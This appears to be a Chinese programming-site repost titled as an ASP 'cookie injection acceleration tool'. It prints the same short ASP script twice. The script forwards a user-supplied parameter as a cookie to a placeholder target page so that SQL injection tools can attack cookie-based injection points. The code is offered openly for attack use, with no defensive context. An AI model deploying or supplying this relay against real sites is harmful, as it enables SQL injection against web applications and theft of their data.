ASP版实现cookies注入加速工具
程序员文章站
2022-10-27 18:58:51
来源:职业欠钱&zj1244共用的public blog 复制代码 代码如下:<% str="xxxid="&escape(request("f...
来源:职业欠钱&zj1244共用的public blog
<%
str="xxxid="&escape(request("fk"))
url="http://xxx.chinaxxx.com/injection.asp"
response.write postdata(url,str)
function postdata(posturl,postcok)
dim http
set http = server.createobject("msxml2.serverxmlhttp")
with http
.open "get",posturl,false
.setrequestheader "cookie",postcok
.send
postdata = .responsebody
end with
set http = nothing
postdata =bytes2bstr(postdata)
end function
function bytes2bstr(vin)
dim strreturn
dim i, thischarcode, nextcharcode
strreturn = ""
for i = 1 to lenb(vin)
thischarcode = ascb(midb(vin, i, 1))
if thischarcode < &h80 then
strreturn = strreturn & chr(thischarcode)
else
nextcharcode = ascb(midb(vin, i + 1, 1))
strreturn = strreturn & chr(clng(thischarcode) * &h100 + cint(nextcharcode))
i = i + 1
end if
next
bytes2bstr = strreturn
end function
%>
复制代码 代码如下:
<%
str="xxxid="&escape(request("fk"))
url="http://xxx.chinaxxx.com/injection.asp"
response.write postdata(url,str)
function postdata(posturl,postcok)
dim http
set http = server.createobject("msxml2.serverxmlhttp")
with http
.open "get",posturl,false
.setrequestheader "cookie",postcok
.send
postdata = .responsebody
end with
set http = nothing
postdata =bytes2bstr(postdata)
end function
function bytes2bstr(vin)
dim strreturn
dim i, thischarcode, nextcharcode
strreturn = ""
for i = 1 to lenb(vin)
thischarcode = ascb(midb(vin, i, 1))
if thischarcode < &h80 then
strreturn = strreturn & chr(thischarcode)
else
nextcharcode = ascb(midb(vin, i + 1, 1))
strreturn = strreturn & chr(clng(thischarcode) * &h100 + cint(nextcharcode))
i = i + 1
end if
next
bytes2bstr = strreturn
end function
%>
上一篇: asp下生成目录树结构的类
下一篇: Linux 应用程序的安装和管理